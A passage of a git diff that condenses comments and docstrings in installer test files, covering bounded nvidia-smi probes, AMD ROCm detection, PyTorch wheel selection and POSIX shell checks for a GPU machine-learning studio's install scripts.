     src = (PACKAGE_ROOT / "studio" / "install_python_stack.py").read_text(encoding = "utf-8")
     tree = ast.parse(src)
 
     def _names_amd_smi_command(node):
-        # Exact "amd-smi"/"amd-smi.exe" constant, not a substring in a log message.
+        # Exact "amd-smi"/"amd-smi.exe" constant, not a substring in a log.
         return any(
             isinstance(n, ast.Constant)
             and isinstance(n.value, str)
diff --git a/tests/studio/install/test_probe_timeouts.py b/tests/studio/install/test_probe_timeouts.py
index acea0ed34d..0ff93c1b12 100644
--- a/tests/studio/install/test_probe_timeouts.py
+++ b/tests/studio/install/test_probe_timeouts.py
@@ -1,11 +1,8 @@
-"""Tests that NVIDIA probes in the installers are bounded by a timeout.
+"""NVIDIA installer probes must be timeout-bounded (audit findings 5 and 6): a wedged nvidia-smi
+must not hang the installer, and the Windows probe must require a real GPU listing (not exit code 0).
 
-Covers audit findings 5 and 6: a wedged nvidia-smi must not hang the installer,
-and the Windows probe must require a real GPU listing (not just exit code 0).
-
-Source-level assertions verify the guards are present in install.sh / install.ps1
-/ setup.ps1; one behavioral shell test confirms the bash helper actually returns
-within the timeout when nvidia-smi hangs.
+Source-level asserts check the guards in install.sh / install.ps1 / setup.ps1; one behavioral
+shell test confirms the bash helper returns within the timeout when nvidia-smi hangs.
 """
 
 import os
@@ -60,8 +57,7 @@ class TestInstallShBoundedProbe:
             "command -v timeout" in body
         ), "_run_bounded must check for the `timeout` binary before using it"
         assert "timeout 10" in body, "_run_bounded must apply a 10s timeout"
-        # Must fall back to running unbounded when `timeout` is unavailable
-        # (e.g. macOS) so semantics are unchanged there.
+        # Falls back to unbounded when `timeout` is absent (e.g. macOS), keeping semantics there.
         assert (
             "else" in body and '"$@"' in body
         ), "_run_bounded must run the command unbounded when `timeout` is absent"
@@ -69,11 +65,11 @@ class TestInstallShBoundedProbe:
     def test_nvidia_smi_dash_l_probe_is_bounded(self):
         body = _extract_sh_function_body(self._src(), "_has_usable_nvidia_gpu")
         assert body, "install.sh must define _has_usable_nvidia_gpu"
-        # The -L probe must go through the bounded runner, not call nvidia-smi raw.
+        # The -L probe must go through the bounded runner.
         assert (
             '_run_bounded "$_nvsmi" -L' in body
         ), "_has_usable_nvidia_gpu must run nvidia-smi -L through _run_bounded"
-        # The /proc fallback from PR 6174 must still be present.
+        # The /proc fallback from PR 6174 must remain.
         assert "/proc/driver/nvidia" in body
 
     def test_cuda_version_parse_is_bounded(self):
@@ -82,25 +78,20 @@ class TestInstallShBoundedProbe:
         assert (
             "_run_bounded" in body
         ), "get_torch_index_url CUDA-version parse must run nvidia-smi through _run_bounded"
-        # The locale must be forced without depending on `env` being on PATH.
+        # Locale forced without depending on `env` being on PATH.
         assert "LC_ALL=C" in body
         # _nvidia_detected gating from PR 6174 must remain.
         assert "_nvidia_detected" in body
 
     def test_no_unbounded_nvidia_smi_invocation_remains(self):
-        """Every nvidia-smi *execution* in install.sh goes through _run_bounded.
-
-        `command -v nvidia-smi` and `-x /usr/bin/nvidia-smi` are resolution
-        checks, not executions, and are allowed. An execution looks like
-        `"$_nvsmi" ...` / `$_smi ...` / `nvidia-smi -L`.
-        """
+        """Every nvidia-smi execution goes through _run_bounded (resolution checks are allowed)."""
         body_nvidia = _extract_sh_function_body(self._src(), "_has_usable_nvidia_gpu")
         body_torch = _extract_sh_function_body(self._src(), "get_torch_index_url")
-        # In _has_usable_nvidia_gpu the only execution of $_nvsmi must be bounded.
+        # The only $_nvsmi execution in _has_usable_nvidia_gpu must be bounded.
         assert '"$_nvsmi" -L' not in body_nvidia.replace(
             '_run_bounded "$_nvsmi" -L', ""
         ), "found an unbounded nvidia-smi -L execution in _has_usable_nvidia_gpu"
-        # In get_torch_index_url the $_smi execution must be bounded.
+        # The $_smi execution in get_torch_index_url must be bounded.
         assert (
             "LC_ALL=C $_smi" not in body_torch
         ), "found an unbounded LC_ALL=C $_smi execution in get_torch_index_url"
@@ -119,7 +110,7 @@ class TestPowerShellBoundedProbe:
         assert (
             "WaitForExit($TimeoutSec * 1000)" in src
         ), f"{path.name} bounded probe must use WaitForExit with a timeout"
-        # Kill + sentinel on timeout, mirroring Invoke-AmdSmiNoElevate.
+        # Kill + sentinel on timeout (mirrors Invoke-AmdSmiNoElevate).
         assert (
             "$proc.Kill()" in src and "124" in src
         ), f"{path.name} must kill nvidia-smi and signal a timeout exit code"
@@ -138,7 +129,7 @@ class TestPowerShellBoundedProbe:
     @pytest.mark.parametrize("path", [INSTALL_PS1, SETUP_PS1])
     def test_detection_uses_validated_probe(self, path):
         src = path.read_text(encoding = "utf-8")
-        # The exit-code-only pattern must be gone from the detection block.
+        # The exit-code-only probe must be gone from the detection block.
         assert (
             "& $nvSmiCmd.Source *> $null" not in src
         ), f"{path.name} must not use the exit-code-only nvidia-smi probe"
@@ -159,9 +150,7 @@ def _have_timeout() -> bool:
 
 @pytest.mark.skipif(not _have_timeout(), reason = "`timeout` binary not available")
 def test_has_usable_nvidia_gpu_returns_under_timeout():
-    """Extract _run_bounded + _has_usable_nvidia_gpu, point them at a fake
-    nvidia-smi that sleeps 30s, and assert the probe returns well under that.
-    """
+    """Point _has_usable_nvidia_gpu at a fake nvidia-smi that sleeps 30s; the probe must return early."""
     src = INSTALL_SH.read_text(encoding = "utf-8")
     helper = _extract_sh_function_body(src, "_run_bounded")
     fn = _extract_sh_function_body(src, "_has_usable_nvidia_gpu")
@@ -175,13 +164,11 @@ def test_has_usable_nvidia_gpu_returns_under_timeout():
         fake_smi.write_text("#!/bin/sh\nsleep 30\n")
         fake_smi.chmod(fake_smi.stat().st_mode | stat.S_IEXEC | stat.S_IXGRP | stat.S_IXOTH)
 
-        # Build a minimal PATH that includes the fake nvidia-smi plus the real
-        # `timeout`/`awk`/`ls` it needs. Use the fake dir first so it wins.
+        # PATH with the fake nvidia-smi first plus the real timeout/awk/ls it needs.
         real_bins = {Path(shutil.which(c)).parent for c in ("timeout", "awk", "ls", "sh")}
         path_env = os.pathsep.join([str(fake_dir)] + [str(p) for p in real_bins])
 
-        # Force the /proc fallback off so the result depends only on the probe,
-        # and so a host with real NVIDIA does not mask the timeout behaviour.
+        # Force /proc fallback off so the result depends only on the probe (real NVIDIA host won't mask it).
         script = (
             f"{helper}\n{fn}\n"
             "if _has_usable_nvidia_gpu; then echo DETECTED; else echo NONE; fi\n"
@@ -194,9 +181,7 @@ def test_has_usable_nvidia_gpu_returns_under_timeout():
             text = True,
             timeout = 20,  # generous: the internal timeout is 10s, sleep is 30s
         )
-        # The probe must have returned (not hung). On this CI host /proc/driver/
-        # nvidia/gpus is absent, so a timed-out smi yields NONE; on a real NVIDIA
-        # host the /proc fallback yields DETECTED. Either way it must not hang.
+        # The probe must have returned (not hung): NONE without /proc, DETECTED via /proc fallback.
         assert proc.stdout.strip() in {"NONE", "DETECTED"}
     finally:
         shutil.rmtree(workdir, ignore_errors = True)
diff --git a/tests/studio/install/test_rocm_support.py b/tests/studio/install/test_rocm_support.py
index b0abaaeacd..8e0b5d1b7f 100644
--- a/tests/studio/install/test_rocm_support.py
+++ b/tests/studio/install/test_rocm_support.py
@@ -1,9 +1,4 @@
-"""Tests for AMD ROCm support across install pathways.
-
-Verifies that ROCm detection and installation logic works correctly
-WITHOUT breaking existing CUDA, CPU, macOS, and Windows pathways.
-All tests use mocks -- no AMD hardware required.
-"""
+"""AMD ROCm support tests across install pathways (all mocked, no AMD HW)."""
 
 import importlib.util
 import json
@@ -57,12 +52,7 @@ _install_bnb_windows_rocm = stack_mod._install_bnb_windows_rocm
 
 
 def _extract_sh_function_body(source: str, name: str) -> str:
-    """Return the body of a shell function from `source` by brace matching.
-
-    Used by structural tests that need to assert ordering of helper
-    calls inside a specific function rather than across the whole
-    install.sh file.
-    """
+    """Return a shell function body from `source` by brace matching."""
     needle = f"{name}() {{"
     start = source.find(needle)
     if start < 0:
@@ -292,14 +282,12 @@ class TestResolveUpstreamAssetChoice:
         """Host with both NVIDIA and ROCm should use NVIDIA (CPU path here, CUDA elsewhere)."""
         host = nvidia_host(has_rocm = True)
         choice = resolve_upstream_asset_choice(host, LLAMA_TAG)
-        # NVIDIA hosts go through the normal path (CUDA handled by resolve_linux_cuda_choice)
         assert choice.install_kind == "linux-cpu"
         assert "rocm" not in choice.name
 
     @patch.object(prebuilt_mod, "github_release_assets")
     def test_rocm_linux_no_prebuilt_falls_back(self, mock_assets):
         """AMD ROCm host should fall back to source build when no ROCm prebuilt exists."""
-        # Remove the ROCm asset from available assets
         assets_without_rocm = {k: v for k, v in UPSTREAM_ASSETS.items() if "rocm" not in k}
         mock_assets.return_value = assets_without_rocm
         host = rocm_host()
@@ -343,9 +331,8 @@ class TestRuntimePatterns:
         patterns = runtime_patterns_for_choice(choice)
         assert "llama-server" in patterns
         assert "llama-quantize" in patterns
-        # Broad lib*.so* covers libllama, libggml, libmtmd, libggml-cpu-*,
-        # plus the libllama-<binary>-impl.so split that ggml-org/llama.cpp
-        # #23462 introduced between b9279 and b9283.
+        # lib*.so* covers libllama/libggml/libmtmd plus the libllama-*-impl.so
+        # split from ggml-org/llama.cpp #23462 (between b9279 and b9283).
         assert "lib*.so*" in patterns
 
     def test_linux_cuda_patterns(self):
@@ -353,7 +340,6 @@ class TestRuntimePatterns:
             repo = "", tag = "", name = "", url = "", source_label = "", install_kind = "linux-cuda"
         )
         patterns = runtime_patterns_for_choice(choice)
-        # libggml-cuda.so is matched by lib*.so* now.
         assert "lib*.so*" in patterns
 
     def test_linux_rocm_patterns(self):
@@ -361,7 +347,6 @@ class TestRuntimePatterns:
             repo = "", tag = "", name = "", url = "", source_label = "", install_kind = "linux-rocm"
         )
         patterns = runtime_patterns_for_choice(choice)
-        # libggml-hip.so is matched by lib*.so* now.
         assert "lib*.so*" in patterns
         assert "llama-server" in patterns
 
@@ -375,8 +360,7 @@ class TestRuntimePatterns:
             install_kind = "windows-hip",
         )
         patterns = runtime_patterns_for_choice(choice)
-        # Narrowed from "*.exe" to the two binaries Studio actually
-        # invokes, mirroring the Linux/macOS pattern style.
+        # Narrowed from "*.exe" to the two binaries Studio actually invokes.
         assert "llama-server.exe" in patterns
         assert "llama-quantize.exe" in patterns
         assert "*.dll" in patterns
@@ -394,8 +378,8 @@ class TestRuntimePatterns:
         assert "lib*.dylib" in patterns
 
     def test_diffusion_visual_server_kept(self):
-        # The DiffusionGemma visual-server ships in the prebuilt bundle and must
-        # survive the prune so Studio can serve DiffusionGemma GGUFs natively.
+        # The DiffusionGemma visual-server must survive the prune so Studio can
+        # serve DiffusionGemma GGUFs natively.
         for kind, name in (
             ("linux-cuda", "llama-diffusion-gemma-visual-server"),
             ("macos-arm64", "llama-diffusion-gemma-visual-server"),
@@ -445,7 +429,7 @@ class TestHostInfoRocm:
         import inspect
 
         source = inspect.getsource(prebuilt_mod.detect_host)
-        # Must probe for actual GPU, not just tool presence
+        # Must probe for actual GPU, not just tool presence.
         assert "rocminfo" in source or "amd-smi" in source
 
     def test_detect_host_windows_rocm_detection(self):
@@ -527,7 +511,6 @@ class TestDetectRocmVersion:
         """Debian epoch prefix (2:6.2.0) -- version file has no epoch, so should parse."""
         info_dir = tmp_path / ".info"
         info_dir.mkdir()
-        # Version files don't typically have epoch prefix, but lib/rocm_version might
         (info_dir / "version").write_text("6.2.0\n")
         with patch.dict(os.environ, {"ROCM_PATH": str(tmp_path)}):
             result = _detect_rocm_version()
@@ -578,9 +561,8 @@ class TestEnsureRocmTorch:
     @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = False)
     def test_no_rocm_skips(self, mock_nvidia, mock_pip):
         """No ROCm toolchain should skip entirely."""
-        # _detect_windows_gfx_arch pinned to None: on a real AMD test host its
-        # WMI name fallback would otherwise answer and defeat the "no ROCm
-        # anywhere" premise of this test.
+        # Pin _detect_windows_gfx_arch to None so a real AMD test host's WMI
+        # fallback can't defeat the "no ROCm anywhere" premise.
         with patch.object(stack_mod, "_detect_windows_gfx_arch", return_value = None):
             with patch("os.path.isdir", return_value = False):
                 with patch("shutil.which", return_value = None):
@@ -595,7 +577,7 @@ class TestEnsureRocmTorch:
         """If torch already has CUDA, should skip ROCm reinstall."""
         mock_probe = MagicMock()
         mock_probe.returncode = 0
-        mock_probe.stdout = b"12.6\n"  # CUDA version string
+        mock_probe.stdout = b"12.6\n"  # CUDA version
         with patch("os.path.isdir", return_value = True):
             with patch("subprocess.run", return_value = mock_probe):
                 _ensure_rocm_torch()
@@ -609,7 +591,7 @@ class TestEnsureRocmTorch:
         """If torch already has HIP, should skip ROCm reinstall."""
         mock_probe = MagicMock()
         mock_probe.returncode = 0
-        mock_probe.stdout = b"7.1.12345\n"  # HIP version string
+        mock_probe.stdout = b"7.1.12345\n"  # HIP version
         with patch("os.path.isdir", return_value = True):
             with patch("subprocess.run", return_value = mock_probe):
                 _ensure_rocm_torch()
@@ -631,7 +613,6 @@ class TestEnsureRocmTorch:
         with patch("os.path.isdir", return_value = True):
             with patch("subprocess.run", return_value = mock_probe):
                 _ensure_rocm_torch()
-        # Should install torch via pip_install and bitsandbytes via pip_install_try.
         assert mock_pip.call_count == 1
         assert "rocm7.1" in str(mock_pip.call_args_list[0])
         assert mock_pip_try.call_count >= 1
@@ -712,8 +693,7 @@ class TestEnsureRocmTorch:
         with patch("os.path.isdir", return_value = True):
             with patch("subprocess.run", side_effect = subprocess.TimeoutExpired("python", 30)):
                 _ensure_rocm_torch()
-        # If probe times out, the function should treat torch as unusable and reinstall
-        # both torch (via pip_install) and bitsandbytes (via pip_install_try).
+        # Probe timeout: treat torch as unusable and reinstall torch + bitsandbytes.
         assert mock_pip.call_count == 1
         assert "rocm7.1" in str(mock_pip.call_args_list[0])
         assert mock_pip_try.call_count >= 1
@@ -724,9 +704,8 @@ class TestEnsureRocmTorch:
     @patch.object(stack_mod, "_has_rocm_gpu", return_value = False)
     def test_no_gpu_with_rocm_tools_skips(self, mock_gpu, mock_nvidia, mock_pip):
         """ROCm tools present but no actual AMD GPU should skip entirely."""
-        # Pin the Windows arch probe to None: on a real AMD test host the WMI
-        # name fallback would otherwise answer and defeat the "no actual GPU"
-        # premise (the Linux path under test uses _has_rocm_gpu, mocked False).
+        # Pin the Windows arch probe to None so a real AMD host's WMI fallback
+        # can't defeat the "no actual GPU" premise.
         with patch.object(stack_mod, "_detect_windows_gfx_arch", return_value = None):
             with patch("os.path.isdir", return_value = True):
                 _ensure_rocm_torch()
@@ -738,7 +717,6 @@ class TestEnsureRocmTorch:
     def test_torch_backend_cuda_env_skips_entirely(self, mock_nvidia, mock_gpu, mock_pip):
         """UNSLOTH_TORCH_BACKEND=cuda must short-circuit before any GPU probe."""
         with patch.dict(os.environ, {"UNSLOTH_TORCH_BACKEND": "cuda"}):
-            # Reload _TORCH_BACKEND from the patched environment.
             with patch.object(stack_mod, "_TORCH_BACKEND", "cuda"):
                 _ensure_rocm_torch()
         mock_pip.assert_not_called()
@@ -758,12 +736,7 @@ class TestEnsureRocmTorch:
 
 
 class TestHasRocmGpuKfdVendorGuard:
-    """Verify that the KFD sysfs fallback rejects non-AMD (NVIDIA) KFD nodes.
-
-    These tests are source-level: they verify the regex and logic present in
-    the _has_rocm_gpu implementation rather than running the sysfs traversal
-    (which requires Linux path conventions).
-    """
+    """KFD sysfs fallback rejects non-AMD (NVIDIA) KFD nodes (source-level checks)."""
 
     def _src(self) -> str:
         """Return the source of _has_rocm_gpu from install_python_stack.py."""
@@ -787,8 +760,7 @@ class TestHasRocmGpuKfdVendorGuard:
         import re as _re
 
         src = self._src()
-        # The pattern should have a word boundary before and after the number
-        # so "vendor_id 41098" doesn't match "vendor_id 4098".
+        # Word boundary so "vendor_id 41098" doesn't match "vendor_id 4098".
         assert (
             _re.search(r"\\b.*vendor_id.*\\b", src) or "\\bvendor_id" in src
         ), "_has_rocm_gpu vendor_id check should use word boundary anchors"
@@ -816,14 +788,10 @@ class TestHasRocmGpuKfdVendorGuard:
         assert "4098" in func_body, "_has_amd_rocm_gpu must require AMD vendor_id 4098 (0x1002)"
 
     def test_has_rocm_gpu_returns_false_when_nvidia_present(self):
-        """_has_rocm_gpu must return False immediately when _has_usable_nvidia_gpu is True.
-
-        This is the primary guard: even if rocminfo, amd-smi, or KFD sysfs
-        produce a false positive, an NVIDIA GPU always wins.
-        """
+        """_has_rocm_gpu returns False when _has_usable_nvidia_gpu is True (NVIDIA always wins)."""
         with patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = True):
             with patch("shutil.which", return_value = "/usr/bin/rocminfo"):
-                # Simulate rocminfo claiming an AMD GPU is present
+                # rocminfo claims an AMD GPU is present.
                 mock_result = MagicMock()
                 mock_result.returncode = 0
                 mock_result.stdout = "Name: gfx1100\n"
@@ -949,7 +917,6 @@ class TestHardwareRocmFlag:
         """DeviceType should remain CUDA even on ROCm -- no DeviceType.ROCM."""
         hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
         source = hw_path.read_text(encoding = "utf-8")
-        # Ensure ROCM is NOT a DeviceType member
         enum_section = source.split("class DeviceType")[1].split("\n\n")[0]
         assert "ROCM" not in enum_section
 
@@ -963,7 +930,6 @@ class TestHardwareRocmFlag:
         """All existing DeviceType.CUDA references should still be present."""
         hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
         source = hw_path.read_text(encoding = "utf-8")
-        # Key functions that must still reference DeviceType.CUDA
         assert "DeviceType.CUDA" in source
         assert "DEVICE = DeviceType.CUDA" in source
 
@@ -977,26 +943,19 @@ class TestHardwareRocmFlag:
         """IS_ROCM should be in __all__ list in __init__.py."""
         init_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "__init__.py"
         source = init_path.read_text(encoding = "utf-8")
-        # Extract __all__ section
         assert '"IS_ROCM"' in source
 
     def test_get_package_versions_returns_rocm_key(self):
         """get_package_versions() source should return both 'cuda' and 'rocm' keys."""
         hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
         source = hw_path.read_text(encoding = "utf-8")
-        # Find the get_package_versions function body
         func_start = source.find("def get_package_versions")
         func_body = source[func_start : source.find("\ndef ", func_start + 1)]
         assert '"cuda"' in func_body
         assert '"rocm"' in func_body
 
     def test_distributed_stubs_cover_is_torchelastic_launched(self):
-        """_determine_attention_impl_for_gpu_estimate must stub is_torchelastic_launched.
-
-        resolve_attention_implementation calls is_torchelastic_launched() on
-        Windows ROCm where torch.distributed ships without that helper, causing
-        a warning: 'module torch.distributed has no attribute is_torchelastic_launched'.
-        """
+        """Must stub is_torchelastic_launched (Windows ROCm torch.distributed lacks it)."""
         hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
         source = hw_path.read_text(encoding = "utf-8")
         assert "is_torchelastic_launched" in source
@@ -1035,23 +994,16 @@ class TestInstallShStructure:
     """Verify install.sh structural properties without running it."""
 
     def test_no_here_strings(self):
-        """install.sh must not use the bash-only `<<<` here-string operator.
-
-        `<<<` inside a quoted literal (e.g. a marker in a printf) is just data,
-        not a here-string, so strip quoted spans first: this still catches a
-        real `cmd <<< word` (outside quotes) without false-positiving on data.
-        """
+        """install.sh must not use the bash-only `<<<` here-string operator (breaks dash)."""
         import re
 
         sh_path = PACKAGE_ROOT / "install.sh"
         source = sh_path.read_text(encoding = "utf-8")
-        # <<< is bash-only; breaks dash
         for i, line in enumerate(source.splitlines(), 1):
             stripped = line.lstrip()
             if stripped.startswith("#"):
                 continue
-            # Remove quoted string literals so `<<<` inside them is ignored;
-            # a genuine here-string operator lives outside any quotes.
+            # Strip quoted literals so `<<<` inside them is ignored.
             unquoted = re.sub(r"'[^']*'", "", line)
             unquoted = re.sub(r'"[^"]*"', "", unquoted)
             assert "<<<" not in unquoted, f"install.sh:{i} uses non-POSIX <<< here-string"
@@ -1064,22 +1016,13 @@ class TestInstallShStructure:
         assert "rocm" in source.lower()
 
     def test_cuda_precedence(self):
-        """ROCm detection should only run when nvidia-smi is absent.
-
-        install.sh defines _has_amd_rocm_gpu and _has_usable_nvidia_gpu
-        helpers near each other (file-position order has no semantic
-        meaning), so check the runtime ordering inside
-        get_torch_index_url instead: NVIDIA branch runs first and the
-        AMD/ROCm branch only fires inside the `if [ -z "$_smi" ]`
-        block.
-        """
+        """ROCm detection runs only when NVIDIA is absent (check runtime ordering in get_torch_index_url)."""
         sh_path = PACKAGE_ROOT / "install.sh"
         source = sh_path.read_text(encoding = "utf-8")
         body = _extract_sh_function_body(source, "get_torch_index_url")
         nvidia_call = body.find("_has_usable_nvidia_gpu")
-        # Gate changed from [ -z "$_smi" ] to [ "$_nvidia_detected" -eq 0 ] to
-        # handle proc-only NVIDIA hosts where nvidia-smi is absent but _has_usable_nvidia_gpu
-        # returns true via /proc/driver/nvidia/gpus.
+        # Gate uses _nvidia_detected (not -z "$_smi") to handle proc-only NVIDIA
+        # hosts where nvidia-smi is absent but the GPU is found via /proc.
         no_nvidia_branch = body.find('if [ "$_nvidia_detected" -eq 0 ]')
         if no_nvidia_branch < 0:
             no_nvidia_branch = body.find('if [ -z "$_smi" ]')
@@ -1111,7 +1054,6 @@ class TestInstallShStructure:
         sh_path = PACKAGE_ROOT / "install.sh"
         source = sh_path.read_text(encoding = "utf-8")
         assert 'echo "$_base/rocm7.2"' in source  # fallback for unknown future versions
-        # Allowlisted versions should pass through directly
         assert "rocm6.*" in source
         assert "rocm7.0" in source
         assert "rocm7.1" in source
@@ -1131,8 +1073,7 @@ class TestInstallShStructure:
         assert "sed 's/^[0-9]*://' " in source or "sed 's/^[0-9]*://'" in source
 
     def test_no_double_bracket_in_rocm_block(self):
-        """ROCm detection block should not use [[ ]] (bash-only, not POSIX).
-        Note: [[:space:]], [[:digit:]] etc. are valid POSIX character classes, not bash [[ ]]."""
+        """ROCm block must not use bash-only [[ ]] (POSIX char classes [[:space:]] are fine)."""
         sh_path = PACKAGE_ROOT / "install.sh"
         source = sh_path.read_text(encoding = "utf-8")
         func_start = source.find("get_torch_index_url()")
@@ -1144,7 +1085,7 @@ class TestInstallShStructure:
             stripped = line.lstrip()
             if stripped.startswith("#"):
                 continue
-            # Remove POSIX character classes [[:foo:]] before checking for [[ ]]
+            # Strip POSIX char classes [[:foo:]] before checking for [[ ]].
             cleaned = re.sub(r"\[\[:[a-z]+:\]\]", "", line)
             assert "[[" not in cleaned, f"get_torch_index_url line {i} uses non-POSIX [["
 
@@ -1174,11 +1115,7 @@ class TestInstallShStructure:
         assert darwin_pos < rocm_pos, "macOS check should come before ROCm detection"
 
     def test_unsloth_torch_backend_exported_after_get_torch_index_url(self):
-        """install.sh must export UNSLOTH_TORCH_BACKEND after TORCH_INDEX_URL is set.
-
-        This lets install_python_stack.py skip ROCm torch operations on CUDA
-        and CPU hosts without re-running GPU detection in a subprocess.
-        """
+        """install.sh exports UNSLOTH_TORCH_BACKEND after TORCH_INDEX_URL (lets the stack skip GPU re-detection)."""
         sh_path = PACKAGE_ROOT / "install.sh"
         source = sh_path.read_text(encoding = "utf-8")
         torch_url_pos = source.find("TORCH_INDEX_URL=$(get_torch_index_url)")
@@ -1187,21 +1124,14 @@ class TestInstallShStructure:
         assert (
             backend_pos > torch_url_pos
         ), "UNSLOTH_TORCH_BACKEND must be set AFTER TORCH_INDEX_URL is resolved"
-        # Verify all three cases are covered
         assert '"cuda"' in source[backend_pos : backend_pos + 500]
         assert '"rocm"' in source[backend_pos : backend_pos + 500]
         assert '"cpu"' in source[backend_pos : backend_pos + 500]
-        # Must be exported so subprocesses (setup.sh, install_python_stack.py) see it
+        # Must be exported so subprocesses see it.
         assert "export UNSLOTH_TORCH_BACKEND" in source
 
     def test_kfd_sysfs_amd_vendor_check_in_has_amd_rocm_gpu(self):
-        """_has_amd_rocm_gpu sysfs fallback must require AMD vendor_id 4098.
-
-        NVIDIA open kernel module (560+) registers KFD nodes with vendor_id
-        4318 (0x10DE). Without the vendor check, _has_amd_rocm_gpu returns 0
-        (true) on NVIDIA-only hosts that have the nvidia-open driver, causing
-        get_torch_index_url to select a ROCm wheel index.
-        """
+        """_has_amd_rocm_gpu sysfs fallback must require AMD vendor_id 4098 (nvidia-open registers KFD nodes too)."""
         sh_path = PACKAGE_ROOT / "install.sh"
         source = sh_path.read_text(encoding = "utf-8")
         func_start = source.find("_has_amd_rocm_gpu()")
@@ -1215,14 +1145,7 @@ class TestInstallShStructure:
         ), "_has_amd_rocm_gpu sysfs fallback must require AMD vendor_id 4098 (0x1002)"
 
     def test_kfd_awk_resets_state_per_file(self):
-        """KFD sysfs awk must reset gpu/amd state per file (FNR==1).
-
-        Without the reset, a Ryzen+NVIDIA host where node 0 is an AMD CPU
-        agent (vendor_id 4098, gpu_id 0) and node 1 is an NVIDIA GPU
-        (gpu_id > 0, vendor_id 4318) can produce a false positive: node 0
-        sets amd=1, node 1 sets gpu=1, and the combined state triggers found=1
-        before vendor_id 4318 is seen on node 1.
-        """
+        """KFD sysfs awk must reset gpu/amd state per file (FNR==1) to avoid Ryzen+NVIDIA false positives."""
         sh_path = PACKAGE_ROOT / "install.sh"
         source = sh_path.read_text(encoding = "utf-8")
         func_start = source.find("_has_amd_rocm_gpu()")
@@ -1234,13 +1157,7 @@ class TestInstallShStructure:
         )
 
     def test_get_torch_index_url_uses_nvidia_detected_flag(self):
-        """get_torch_index_url must track NVIDIA detection independently of _smi.
-
-        When _has_usable_nvidia_gpu returns true via /proc/driver/nvidia fallback
-        but nvidia-smi is not on PATH, _smi stays empty. Without a separate
-        _nvidia_detected flag, the function falls into the AMD/CPU branch even
-        though NVIDIA was confirmed, silently installing CPU wheels instead of CUDA.
-        """
+        """get_torch_index_url must track NVIDIA via _nvidia_detected (proc-only NVIDIA still picks CUDA)."""
         sh_path = PACKAGE_ROOT / "install.sh"
         source = sh_path.read_text(encoding = "utf-8")
         func_start = source.find("get_torch_index_url()")
@@ -1250,8 +1167,6 @@ class TestInstallShStructure:
             "get_torch_index_url must use a _nvidia_detected flag (separate from "
             "_smi) so that proc-only NVIDIA detection still selects CUDA wheels"
         )
-        # The AMD/ROCm branch must be gated on _nvidia_detected being 0, not on
-        # _smi being empty.
         assert (
             '_nvidia_detected" -eq 0' in func_body or "_nvidia_detected" in func_body
         ), "get_torch_index_url AMD branch must be skipped when _nvidia_detected=1"
@@ -1269,8 +1184,7 @@ class TestLiveRegression:
 
         if not shutil.which("nvidia-smi"):
             pytest.skip("No nvidia-smi available")
-        # Skip if nvidia-smi exists but does not actually list a GPU on this
-        # host (containers occasionally ship the binary without a driver).
+        # Skip if nvidia-smi exists but lists no GPU (binary without driver).
         check = subprocess.run(
             [
                 "bash",
@@ -1283,9 +1197,7 @@ class TestLiveRegression:
             pytest.skip("nvidia-smi is on PATH but no GPU is listed")
 
         sh_path = PACKAGE_ROOT / "install.sh"
-        # get_torch_index_url calls _has_usable_nvidia_gpu and
-        # _has_amd_rocm_gpu, so all three function definitions must be
-        # in scope when we eval the extract.
+        # All three helper definitions must be in scope when we eval the extract.
         extract_cmd = (
             f"sed -n '/^_has_amd_rocm_gpu()/,/^}}$/p; "
             f"/^_has_usable_nvidia_gpu()/,/^}}$/p; "
@@ -1305,14 +1217,11 @@ class TestLiveRegression:
 
 # TEST: worker.py -- ROCm Mamba/SSM source build path
 
-# Load worker.py module
 _WORKER_PATH = PACKAGE_ROOT / "studio" / "backend" / "core" / "training" / "worker.py"
 _EXPORT_WORKER_PATH = PACKAGE_ROOT / "studio" / "backend" / "core" / "export" / "worker.py"
-# The torchao Windows-ROCm stub was de-duplicated out of the export/training
-# workers into a shared module; both workers now call into it.
+# Shared torchao Windows-ROCm stub used by both workers.
 _TORCHAO_STUB_PATH = PACKAGE_ROOT / "studio" / "backend" / "core" / "_torchao_stub.py"
-# The wheel-probe subprocess was hoisted out of worker.py into wheel_utils
-# during the wheel-resolver refactor; the probe script literal lives there.
+# Wheel-probe script literal lives in wheel_utils after the resolver refactor.
 _WHEEL_UTILS_PATH = PACKAGE_ROOT / "studio" / "backend" / "utils" / "wheel_utils.py"
 
 
@@ -1320,8 +1229,7 @@ class TestWorkerRocmMambaSsm:
     """Verify worker.py Mamba/SSM install logic on ROCm."""
 
     def test_probe_returns_hip_version_field(self):
-        """The wheel probe should include hip_version, and worker.py should
-        consume it."""
+        """The wheel probe should include hip_version, and worker.py consumes it."""
         assert "hip_version" in _WHEEL_UTILS_PATH.read_text(encoding = "utf-8")
         assert "hip_version" in _WORKER_PATH.read_text(encoding = "utf-8")
 
@@ -1332,14 +1240,12 @@ class TestWorkerRocmMambaSsm:
 
     def test_direct_wheel_url_returns_none_without_cuda_major(self, monkeypatch):
         """_direct_wheel_url should return None when cuda_major is empty (ROCm)."""
-        # Load module for function access
         _worker_spec = importlib.util.spec_from_file_location("test_worker", _WORKER_PATH)
         assert _worker_spec is not None and _worker_spec.loader is not None
         worker_mod = importlib.util.module_from_spec(_worker_spec)
 
-        # Stub worker.py's imports via monkeypatch so the fakes (notably a
-        # non-package "utils") are undone and don't break later tests that
-        # import the real utils.* package.
+        # Stub worker.py imports via monkeypatch so the fake "utils" is undone
+        # and doesn't break later tests importing the real utils.* package.
         loggers_mock = MagicMock()
         loggers_mock.get_logger = MagicMock(return_value = MagicMock())
         monkeypatch.setitem(sys.modules, "structlog", MagicMock())
@@ -1425,7 +1331,6 @@ class TestAmdGpuMonitoring:
         except Exception:
             pytest.skip("Could not load amd module in test environment")
 
-        # Simulate amd-smi metric JSON output
         gpu_data = {
             "usage": {"gfx_activity": "85"},
             "temperature": {"edge": "72"},
@@ -1464,9 +1369,8 @@ class TestAmdGpuMonitoring:
         except Exception:
             pytest.skip("Could not load amd module")
 
-        # _first_visible_amd_gpu_id() short-circuits to None when any of
